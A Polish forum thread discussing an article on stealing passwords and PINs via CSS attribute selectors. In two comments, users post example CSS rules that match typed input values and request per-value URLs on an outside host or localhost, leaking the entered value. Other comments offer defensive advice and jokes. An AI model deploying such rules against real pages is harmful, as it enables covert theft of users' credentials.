Kradzież hasła przy pomocy CSS-a[eng]

Artykuł, zakończony filmikiem na temat opowiada jak w sprytny sposób można ukraść hasło z przeglądarki odpowiednim stylem w CSSie

[maly_swd]

W skrócie: (metodę można rozwinąć)

1. Reguła css jest napisana do każdej możliwej kombinacji (używa się tego do PINów).
2. CSS ma możliwość ułożenia reguły do wartości z inputa
3. Jeśli się zgadza wartość z reguła to przeglądarka odpytuje serwer o plik, który nazywa się tak jak wartość z pola.
4. Pliki mają wyłączone cachowanie

[maly_swd]

@snx: Podałem w uproszczeniu i w 100% jak przechwycić.

input[type="pin"][value$="0000"] { background-color: url(http://notahackaday.com/0000.png }
input[type="pin"][value$="0001"] { background-color: url(http://notahackaday.com/0001.png }
...
input[type="pin"][value$="9999"]

[maly_swd]

@SiergiejLapczydow: Np. reklamy mogą używać css ale już js nie. Reklamy możesz osadzać na dowolnych stronach przez agencje reklamowe.

[hpiotrekh]

A nie można emacsem przez sendmaila omijając przy tym potrójną ścianę ogniową?

[Dobry_Ziemniak]

@hpiotrekh: Wpuszczają w fake :(

[severson]

A nie można emacsem przez sendmaila omijając przy tym potrójną ścianę ogniową?

@hpiotrekh: Nie wiem, ale włamanie emacsem przez sendmail jest technicznie możliwe chyba

[eMBee]

I teraz zawód 'Programista CSS' nabiera nowego znaczenia... :D

[shpyo]

Było się na szkoleniu od @sekurak to się umie w hacking :D. W sumie to nic nowego.

[securitymb]

@shpyo: I na samym Sekuraku też o tym było: https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/

[Neoqueto]

Powiem więcej. Może nawet niekoniecznie wczytywać obrazki. W CSS można podlinkować pełen plik PHP jako background-image, przynajmniej jeśli zwróci on obrazek przez readfile. Wtedy dużo łatwiej będzie śledzić takie wczytywania obrazków. https://codepen.io/neoqueto/pen/yvQxwR (tutaj jako przykład rotator obrazków do banera)

[graczu]

Dlatego nie ładować plików CSS z obcych źródeł, tak amo plików JS, CDNów ( też mogą paść ofiarą ataków ).
A jak samemu się padnie ofiarą ataku to nikt nie będzie się raczej bawił by wyciągać hasła po CSS :-)

[mosqua]

(✌ ﾟ ∀ ﾟ)☞(✌ ﾟ ∀ ﾟ)☞(✌ ﾟ ∀ ﾟ)☞(✌ ﾟ ∀ ﾟ)☞(✌ ﾟ ∀ ﾟ)☞(✌ ﾟ ∀ ﾟ)☞

[M.....r]

Zaczyna się (－‸ლ)

[wacky]

Ale to chyba tylko zadziała jak ktoś aktualizuje wpisane wartości w tym polu? Zazwyczaj nikt tego nie robi.
W takim przypadku to nie zadziała:

input[type="password"][value$="a"] {
 background-image: url("http://localhost:8000/a");
}

[wacky]

@Thael32: No nie jest tak dokonca. Próbowałem jak mówisz i przeglądarka o nic nie pyta. Pyta dopiero jak wygenerujesz strone z odpowiednią wartością inputa czyli np value="a".

Próbowalem to robić na Firefox ESR 52.3.0 (64 bit)

[paliwoda]

w tedy

@xaweryz (－‸ლ)